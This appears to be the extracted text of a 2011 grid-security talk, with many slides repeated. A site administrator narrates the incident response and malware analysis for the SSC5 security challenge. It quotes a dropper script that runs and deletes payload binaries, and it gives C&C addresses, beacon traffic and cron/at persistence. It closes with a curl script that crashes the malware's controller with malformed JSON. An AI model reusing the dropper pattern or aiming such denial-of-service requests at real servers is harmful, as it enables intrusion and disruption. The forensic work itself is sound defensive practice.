SSC5 as it was seen from a site administrator's lair

Eygene Ryabinkin, rea@grid.kiae.ru

National Research Centre “Kurchatov Institute”

EGI Task Force, 2011, Lyon

Preface

I will just show what I had done myself in the course of handling the SSC5 incident at our site: a 15 minute walkthrough of 1.5 days of a pure fun.

Preface

I will just show what I had done myself in the course of handling the SSC5 incident at our site: a 15 minute walkthrough of 1.5 days of a pure fun.

Be there any questions, corrections, suggestions or other stuff, don't hesitate to ask, either during the presentation or by e-mail.

Something weird is happening to the Grid

My daily crawl over the outgoing network connections revealed that there are some HTTP connections to 195.140.243.4.

Something weird is happening to the Grid

My daily crawl over the outgoing network connections revealed that there are some HTTP connections to 195.140.243.4.

SSC4 had used 195.140.243.2 and it is pretty close. Let's try to investigate what is going on.

Finding the worker nodes

We are running two NAT boxes for our worker nodes, so in order to pinpoint all active connections to the suspicious IP we should just `grep` the state tables:

```
# natstate | grep 195.140.243.4
all tcp n165.lcgwn.kiae:56280 -> \
  nb1-3.grid.kiae.ru:56280 -> \
  195.140.243.4:80       \
  ESTABLISHED:ESTABLISHED
...
```

Finding the worker nodes

We are running two NAT boxes for our worker nodes, so in order to pinpoint all active connections to the suspicious IP we should just grep the state tables:

```
# natstate | grep 195.140.243.4
all tcp n165.lcgwn.kiae:56280 -> \
  nb1-3.grid.kiae.ru:56280 -> \
  195.140.243.4:80       \
  ESTABLISHED:ESTABLISHED
...
```

OK, looks like we should look at node n165.

Identifying the process at the worker node

For the live process it is simple: try to use netstat to figure out if the connections are here. For our case, they were here:

```
# netstat -nap | grep 195.140.243.4
tcp        0      0 10.0.16.40:43758 \
  195.140.243.4:80 \
  ESTABLISHED 22119/wopr_build_ce
```

“wopr”? Sounds familiar.

WOPR ≡ War Operation Plan Response

War Games, an American film made in 1983. And WOPR was the main computer to simulate the atomic war:

WOPR ≡ War Operation Plan Response

War Games, an American film made in 1983. And WOPR was the main computer to simulate the atomic war:

Pretty thing, heh? Not an LHC, but still rather cool.

WOPR $\equiv$ War Operation Plan Response

War Games, an American film made in 1983. And WOPR was the main computer to simulate the atomic war:

Pretty thing, heh? Not an LHC, but still rather cool.

Do I think that this stuff is malicious?
Yes, I do (just a gut feeling).

Identifying the process at the worker node

Tools like ps or pstree will show you the process if it is not hiding from us. Go grep it!

Identifying the process at the worker node

Tools like ps or pstree will show you the process if it is not hiding from us. Go grep it!

```
# ps auxww | grep [w]opr
203001   22119  0.0  0.0  15100  2204 ? \
  SN   02:35   0:00 ./wopr_build_centos64
```

Identifying the process at the worker node

Tools like ps or pstree will show you the process if it is not hiding from us. Go grep it!

```
# ps auxww | grep [w]opr
203001   22119  0.0  0.0  15100  2204 ? \
  SN   02:35   0:00 ./wopr_build_centos64
```

You can also look at /proc:

```
# ls -l /proc/22119/exe | awk ’{print $NF;}’
.../atlaspilot0002/home_cream_647987011/\
  CREAM647987011/condorg_bZF21997/pilot3/\
  Panda_Pilot_22026_1306276480/\
  PandaJob_1240315966_1306276481/\
  workDir/wopr_build_centos64
```

Next steps

What we have right now:

- the binary itself;

Next steps

What we have right now:

- the binary itself;
- we know that this thing looks like an ATLAS Panda job 1240315966 launched by Panda pilot 22026_1306276480.

Next steps

What we have right now:

- the binary itself;
- we know that this thing looks like an ATLAS Panda job 1240315966 launched by Panda pilot 22026_1306276480.

Now our path forks:

- we must analyze the job payload;

Next steps

What we have right now:

- the binary itself;
- we know that this thing looks like an ATLAS Panda job 1240315966 launched by Panda pilot 22026_1306276480.

Now our path forks:

- we must analyze the job payload;
- we must check the Panda stuff and try to trace the job back to the original user.

The Panda business

First of all, inside the directory `CREAMNNNNNNNNN` we have two files, `1298312.0.err` and `1298312.0.out`.

The Panda business

First of all, inside the directory `CREAMNNNNNNNNN` we have two files, `1298312.0.err` and `1298312.0.out`.

The latter contains the full log of the Panda job: just grep on PBS_JOBID, `3212667.shed.grid.kiae.ru` in our case.

The Panda business

First of all, inside the directory `CREAMNNNNNNNNN` we have two files, `1298312.0.err` and `1298312.0.out`.

The latter contains the full log of the Panda job: just grep on PBS_JOBID, `3212667.shed.grid.kiae.ru` in our case.

Now you can use dig-creamce to trace the job:

```
# dig-creamce -s -1d --trace lrmsID eq 3212667.shed
{’localUser’: ’203001’,
 ’ceID’: ’foam.grid.kiae.ru:8443/cream-pbs-atlas’,
 ...
 ’userDN’: ’/C=UK/O=eScience/OU=CLRC/L=RAL/CN=graem
 ’jobID’: ’CREAM684854769’,
--- BEGIN JOB TRACE ---
Job: 3212667.shed.grid.kiae.ru
```

The Panda business

We have CREAM job ID and user DN.

The Panda business

We have CREAM job ID and user DN.

The former can be used to trace the job on the CREAM CE.

The Panda business

We have CREAM job ID and user DN.

The former can be used to trace the job on the CREAM CE.

But the DN comes from the pilot runner (Graeme Stewart in our case) and not from the actual user for the payload that will be executed by the pilot.

The Panda business

We have CREAM job ID and user DN.

The former can be used to trace the job on the CREAM CE.

But the DN comes from the pilot runner (Graeme Stewart in our case) and not from the actual user for the payload that will be executed by the pilot.

But we have a mighty Panda, so grepping `1298312.0.out` for “Pilot executing job for user:” will reveal the actual user:

```
/O=dutchgrid/O=users/O=nikhef/CN=Hegoi \
Garitaonandia (SSC5)
```

The Panda business

We have CREAM job ID and user DN.

The former can be used to trace the job on the CREAM CE.

But the DN comes from the pilot runner (Graeme Stewart in our case) and not from the actual user for the payload that will be executed by the pilot.

But we have a mighty Panda, so grepping `1298312.0.out` for “Pilot executing job for user:” will reveal the actual user:

```
/O=dutchgrid/O=users/O=nikhef/CN=Hegoi \
Garitaonandia (SSC5)
```

He even has a LinkedIn page and looks like he is from NIKHEF.

The Panda business-II

Let’s look at the workDir of the job:

```
ROOT.py
job0.eee190ce-0f5c-4441-9975-24cf82e6ca86.tar.gz
pakiti-ssc-client
ratatosk.sh
tmp.stderr.c1756e3f-7027-48c2-801d-326e4c5f557b
tmp.stdout.f692706c-0838-44a8-9627-284a86401cb9
wopr_build_centos64.ANALY_GLASGOW
```

And what’s in the .tar file:

```
$ tar tf job0.eee190ce-0f5c-4441-9975-24cf82e6ca86.
wopr_build_centos64.ANALY_GLASGOW
wopr_build_v6_debian32.ANALY_GLASGOW
ratatosk.sh
pakiti-ssc-client
```

The Panda business-III

We have a script named job_setup.sh in the PandaJob directory:

```
<init stuff>
./runGen-00-00-02 -j "" --sourceURL https://voatlas
  -p "%22ratatosk.sh%22" \
  -a jobO.eee190ce-0f5c-4441-9975-24cf82e6ca86.tar.
  -r .  --lfcHost lfc-atlas.grid.sara.nl --inputGUI
  1>prun_stdout.txt 2>prun_stderr.txt
```

The Panda business-III

We have a script named job_setup.sh in the PandaJob directory:

```
<init stuff>
./runGen-00-00-02 -j "" --sourceURL https://voatlas
  -p "%22ratatosk.sh%22" \
  -a jobO.eee190ce-0f5c-4441-9975-24cf82e6ca86.tar.
  -r .  --lfcHost lfc-atlas.grid.sara.nl --inputGUI
  1>prun_stdout.txt 2>prun_stderr.txt
```

Well, we should look at runGen-00-00-02, prun_stderr.txt and prun_stdout.txt. The latter will reveal that the jobO archive will be downloaded and the script “ratatosk.sh” will be executed.

Ratatosk: what’s that?

Ratatoskr is a squirrel who runs up and down the world tree Yggdrasil to carry messages between the unnamed eagle, perched atop Yggdrasil, and the wyrm N’idh"oggr, who dwells beneath one of the three roots of the tree.

Ratatosk: what's that?

Ratatoskr is a squirrel who runs up and down the world tree Yggdrasil to carry messages between the unnamed eagle, perched atop Yggdrasil, and the wyrm N'idh"oggr, who dwells beneath one of the three roots of the tree.

Well, this makes me believe that the payload creators have Nordic roots.

The Panda business IV

Since Panda is essentially a bunch of Python and shell scripts and it has a number of log files, you can really get a very good overview of what's going on by examining these files.

The Panda business IV

Since Panda is essentially a bunch of Python and shell scripts and it has a number of log files, you can really get a very good overview of what's going on by examining these files.

There are many other information items that can be obtained from Panda directory, but I just don't have time to show everything.

The Panda business IV

Since Panda is essentially a bunch of Python and shell scripts and it has a number of log files, you can really get a very good overview of what's going on by examining these files.

There are many other information items that can be obtained from Panda directory, but I just don't have time to show everything.

So: don't fear, just dig the code, correlate it with the logs and you will be able to get an idea on what's going on very quickly.

Payload analysis

First, let's look at ratatosk.sh:

```
<snip>
for BIN in wopr_build_v6_debian32.ANALY_GLASGOW \
  wopr_build_centos64.ANALY_GLASGOW \
  pakiti-ssc-client
do
echo \"running ${BIN}\"
chmod +x ${BIN}
./${BIN}
RETVAL=$?
echo "The peace bringer exited with: $RETVAL"
#sleep 10 # allow some time to execute
rm ${BIN} # don't make their lives too easy
done
exit 0
```

Payload analysis: it is all about squirrels

The contents of ratatosk.sh explain why we have no wopr_build_v6_debian32.ANALY_GLASGOW in the job working directory: it was already eaten by the squirrel.

In our case we have that binary handy (and we also could download it from Panda again), but in other cases when the binary is already removed, the forensic analysis toolkit called The Sleuth Kit, http://www.sleuthkit.org/, can be of some help.

Payload analysis: Pakiti?

OK, we all know what Pakiti is. But we should not skip the pakiti-client script from our investigations, because it has the following lines:

```
SERVERS="pakiti.egi.eu:443"
SERVER_URL="/feed-ssc5/"
```

[1] Given that you have a valid certificate that is authorized for that URL

Payload analysis: Pakiti?

OK, we all know what Pakiti is. But we should not skip the pakiti-client script from our investigations, because it has the following lines:

```
SERVERS="pakiti.egi.eu:443"
SERVER_URL="/feed-ssc5/"
```

Guess, what will you find[1] at https://pakiti.egi.eu/ssc5/? Right, the full list of the sites and nodes that were attacked by this particular version of the ratatosk payload for which the job was already finished.

Such information shouldn't be missed and once found should communicated to the respective CERTs and other bodies.

[1] Given that you have a valid certificate that is authorized for that URL

Payload analysis: WOPR, while it is still alive

If you can afford it, try to both strace the already running binary and tcpdump its connections.

Payload analysis: WOPR, while it is still alive

If you can afford it, try to both strace the already running binary and tcpdump its connections.
For the WOPR I immediately got the following string written to the remote HTTP endpoint:

```
"7\336\215\201\206Z\366\373\305@u\177-\210\207\301\340u\vp\236\
\346I\372O\\237\33s\311\16\234\3309-09a0-4e82-a258-80a425cb1fed\", \
\"version\": 6, \"payload\": { \"hostname\": \
\"xxxxx.grid.kiae.ru\", \"network\": { \"lo\": [ { \"family\": \
\"AF_INET\", \"ip\": \"127.0.0.1\", ...
```

Payload analysis: WOPR, while it is still alive

If you can afford it, try to both strace the already running binary and tcpdump its connections.
For the WOPR I immediately got the following string written to the remote HTTP endpoint:

```
"7\336\215\201\206Z\366\373\305@u\177-\210\207\301\340u\vp\236\
\346I\372O\\237\33s\311\16\234\3309-09a0-4e82-a258-80a425cb1fed\", \
\"version\": 6, \"payload\": { \"hostname\": \
\"xxxxx.grid.kiae.ru\", \"network\": { \"lo\": [ { \"family\": \
\"AF_INET\", \"ip\": \"127.0.0.1\", ...
```

- It terribly reminds JSON;

Payload analysis: WOPR, while it is still alive

If you can afford it, try to both strace the already running binary and tcpdump its connections.
For the WOPR I immediately got the following string written to the remote HTTP endpoint:

```
"7\336\215\201\206Z\366\373\305@u\177-\210\207\301\340u\vp\236\
\346I\372O\\237\33s\311\16\234\3309-09a0-4e82-a258-80a425cb1fed\", \
\"version\": 6, \"payload\": { \"hostname\": \
\"xxxxx.grid.kiae.ru\", \"network\": { \"lo\": [ { \"family\": \
\"AF_INET\", \"ip\": \"127.0.0.1\", ...
```

- It terribly reminds JSON;
- But it has 32 bytes (or 256 bits) of junk at the beginning and UUID-like stuff just after it;

Payload analysis: WOPR, while it is still alive

If you can afford it, try to both strace the already running binary and tcpdump its connections.
For the WOPR I immediately got the following string written to the remote HTTP endpoint:

```
"7\336\215\201\206Z\366\373\305@u\177-\210\207\301\340u\vp\236\
\346I\372O\\237\33s\311\16\234\3309-09a0-4e82-a258-80a425cb1fed\", \
\"version\": 6, \"payload\": { \"hostname\": \
\"xxxxx.grid.kiae.ru\", \"network\": { \"lo\": [ { \"family\": \
\"AF_INET\", \"ip\": \"127.0.0.1\", ...
```

- It terribly reminds JSON;
- But it has 32 bytes (or 256 bits) of junk at the beginning and UUID-like stuff just after it;
- And the details about the machine, process PID and others are written to the HTTP stream regularily, so it really looks like a malware.

Payload analysis: WOPR, execution in a controlled environment

And let us create the tightly-controlled VM and spawn our binary there, using strace and tcpdump from the beginning.

Payload analysis: WOPR, execution in a controlled environment

And let us create the tightly-controlled VM and spawn our binary there, using strace and tcpdump from the beginning.

The results will reveal that the binary

- tries to resolve the DNS name “x%x.switch.vexocide.org” (and all names under .switch.vexocide.org are mapped to 202.254.186.190);
- tries to create the file named some.random.file.move.along in some directories; some of created files are removed, but some are left in place, so we can use it for detection of infected worker nodes.

Payload analysis: WOPR, static analysis

First of all, let's understand what type of binary we have.

```
$ file wopr_build_centos64.ANALY_GLASGOW
wopr_build_centos64.ANALY_GLASGOW:\
ELF 64-bit LSB executable,\
x86-64, version 1 (SYSV), statically linked,\
for GNU/Linux 2.6.9, not stripped
```

Payload analysis: WOPR, static analysis

First of all, let's understand what type of binary we have.

```
$ file wopr_build_centos64.ANALY_GLASGOW
wopr_build_centos64.ANALY_GLASGOW:\
ELF 64-bit LSB executable,\
x86-64, version 1 (SYSV), statically linked,\
for GNU/Linux 2.6.9, not stripped
```

- 64-bit, statically linked: it was more-or-less expected;
- not stripped: well, if it is really unstripped, this will make our lives a lot easier.

Payload analysis: WOPR, symbols

Let’s try the simple tools first:

```
$ nm wopr_build_centos64.ANALY_GLASGOW | grep crypt
00000000004047f0 T aes_decrypt
0000000000403720 T aes_encrypt
000000000040ba80 T evbuffer_decrypt
000000000040bb80 T evbuffer_encrypt
```

Payload analysis: WOPR, symbols

Let’s try the simple tools first:

```
$ nm wopr_build_centos64.ANALY_GLASGOW | grep crypt
00000000004047f0 T aes_decrypt
0000000000403720 T aes_encrypt
000000000040ba80 T evbuffer_decrypt
000000000040bb80 T evbuffer_encrypt
```

OK, looks like AES encryption was used for the first 32 bytes of JSON.

Payload analysis: WOPR, symbols

Let’s try the simple tools first:

```
$ nm wopr_build_centos64.ANALY_GLASGOW | grep crypt
0000000000047f0 T aes_decrypt
0000000000403720 T aes_encrypt
000000000040ba80 T evbuffer_decrypt
000000000040bb80 T evbuffer_encrypt
```

OK, looks like AES encryption was used for the first 32 bytes of JSON.

Running `strings` over the binary shows that it uses libevent, perhaps some library called scar_log that analyzes environment variable SCAR_DEBUG_LEVEL, it uses json-c and it has the string “omgwtfbbqidkfaiddqd”. Heh?

Payload analysis: OMG? WTF? BBQ! IDKFA! IDDQD!

Looks like our malware creators are sufficiently old to play...

[2] Big, uh, freakin' gun

Payload analysis: OMG? WTF? BBQ! IDKFA! IDDQD!

Looks like our malware creators are sufficiently old to play...

[2] Big, uh, freakin' gun

Payload analysis: OMG? WTF? BBQ! IDKFA! IDDQD!

Looks like our malware creators are sufficiently old to play...

- IDKFA is a cheat code that gives all weapons, ammo and keys;

[2] Big, uh, freakin' gun

Payload analysis: OMG? WTF? BBQ! IDKFA! IDDQD!

Looks like our malware creators are sufficiently old to play...

- IDKFA is a cheat code that gives all weapons, ammo and keys;
- IDDQD is a cheat code that enables god mode.

[2] Big, uh, freakin' gun

Payload analysis: OMG? WTF? BBQ! IDKFA! IDDQD!

Looks like our malware creators are sufficiently old to play...

- IDKFA is a cheat code that gives all weapons, ammo and keys;
- IDDQD is a cheat code that enables god mode.

... and they like barbeque? I really need a BFG[2]!

[2] Big, uh, freakin' gun

Payload analysis: IDA Pro

OK, let’s get down to business and use the real tool: IDA Pro. On this binary most likely we won’t really need all scripting and signature analysis that IDA can give us, because we already have a full symbol table, but who knows...

Payload analysis: IDA Pro

OK, let’s get down to business and use the real tool: IDA Pro. On this binary most likely we won’t really need all scripting and signature analysis that IDA can give us, because we already have a full symbol table, but who knows...

IDA Pro allows us to see how that “omgwtfbbqidkfaiddqd” is used for encryption, it allows to understand how the value for the “%x” in switch.vexocide.org is formed: it is just the current `time()`.

Payload analysis: IDA Pro

OK, let's get down to business and use the real tool: IDA Pro. On this binary most likely we won't really need all scripting and signature analysis that IDA can give us, because we already have a full symbol table, but who knows...

IDA Pro allows us to see how that "omgwtfbbqidkfaiddqd" is used for encryption, it allows to understand how the value for the "%x" in switch.vexocide.org is formed: it is just the current `time()`.

It also permitted to write some scripts to decrypt on-the-wire data and thus to check that we were right in the protocol reconstruction.

Payload analysis: IDA Pro

OK, let’s get down to business and use the real tool: IDA Pro. On this binary most likely we won’t really need all scripting and signature analysis that IDA can give us, because we already have a full symbol table, but who knows...

IDA Pro allows us to see how that “omgwtfbbqidkfaiddqd” is used for encryption, it allows to understand how the value for the “%x” in switch.vexocide.org is formed: it is just the current `time()`.

It also permitted to write some scripts to decrypt on-the-wire data and thus to check that we were right in the protocol reconstruction.

And also I had determined how “at” and “cron” were used to inject the periodic scripts.

Payload analysis: IDA Pro

...and a whole of other stuff. For example, the rough code flow of the binary:

Payload analysis: IDA Pro

...and a whole of other stuff. For example, the rough code flow of the binary:

- do the anti-debugging tricks (no-op for 64-bits);
- spit "WE COME IN PEACE" banner (only for i386);
- add nameservers to libevent: 8.8.8.8 and 8.8.8.4;
- setup expire_callback() with the expiration time of 14 days, the program will die in two weeks
- then it setups persistent event resolve_dispatch() that runs each minute and resolves the DNS name x%x.switch.vexocide.org, with %x's value being time();
- then it connects to 195.140.243.4, port 80;
- (only some malware versions) if the previous connection fails, it connects to 192.187.16.160; on other malware it just tries to connect to 195.140.243.4 for the second time;
- ...

War games: preparations

And crawling over the assembler code also allows us to understand that the return codes from the library functions are not really checked. So...

War games: preparations

And crawling over the assembler code also allows us to understand that the return codes from the library functions are not really checked. So...

Most likely, the server was written by the same author as the client, thus return values are not very well checked too. And we have JSON: the language that has the strict structure.

War games: preparations

And crawling over the assembler code also allows us to understand that the return codes from the library functions are not really checked. So...

Most likely, the server was written by the same author as the client, thus return values are not very well checked too. And we have JSON: the language that has the strict structure.

And it smells like author is relying on the fact that the incoming string will always be larger than 32 bytes.

War games: preparations

And crawling over the assembler code also allows us to understand that the return codes from the library functions are not really checked. So...

Most likely, the server was written by the same author as the client, thus return values are not very well checked too. And we have JSON: the language that has the strict structure.

And it smells like author is relying on the fact that the incoming string will always be larger than 32 bytes.

Let’s try to test this WOPR!

War games: tearing down C&C controller

```
#!/bin/sh
#
# By Eygene Ryabinkin, 2011.
# Tears down SSC 5 malware controller.
# JSON parsing sucks! ;))

if [ -z "$1" ]; then
        MASTER="195.140.243.4"
else
        MASTER="$1"

curl -d ’{’ http://"$MASTER"/polling
```

War games: tearing down C&C controller

```
#!/bin/sh
#
# By Eygene Ryabinkin, 2011.
# Tears down SSC 5 malware controller.
# JSON parsing sucks! ;))

if [ -z "$1" ]; then
        MASTER="195.140.243.4"
else
        MASTER="$1"

curl -d ’{’ http://"$MASTER"/polling
```

And I’ll tell ya what: it really worked!

The end

The end?

The end

The end?

Nope, it is only the beginning.

The end

The end?

Nope, it is only the beginning.

Sven and Oscar promised to create something funny next time.

The end

The end?

Nope, it is only the beginning.

Sven and Oscar promised to create something funny next time.

There are some attacks on the grid sites, possibly mine and yours.

The end

The end?

Nope, it is only the beginning.

Sven and Oscar promised to create something funny next time.

There are some attacks on the grid sites, possibly mine and yours.

So, let’s get our hands dirty on this stuff, hack the good tools, polish our procedures and informational channels and be prepared for the worst.

The end

The end?

Nope, it is only the beginning.

Sven and Oscar promised to create something funny next time.

There are some attacks on the grid sites, possibly mine and yours.

So, let’s get our hands dirty on this stuff, hack the good tools, polish our procedures and informational channels and be prepared for the worst.

Thanks for your time!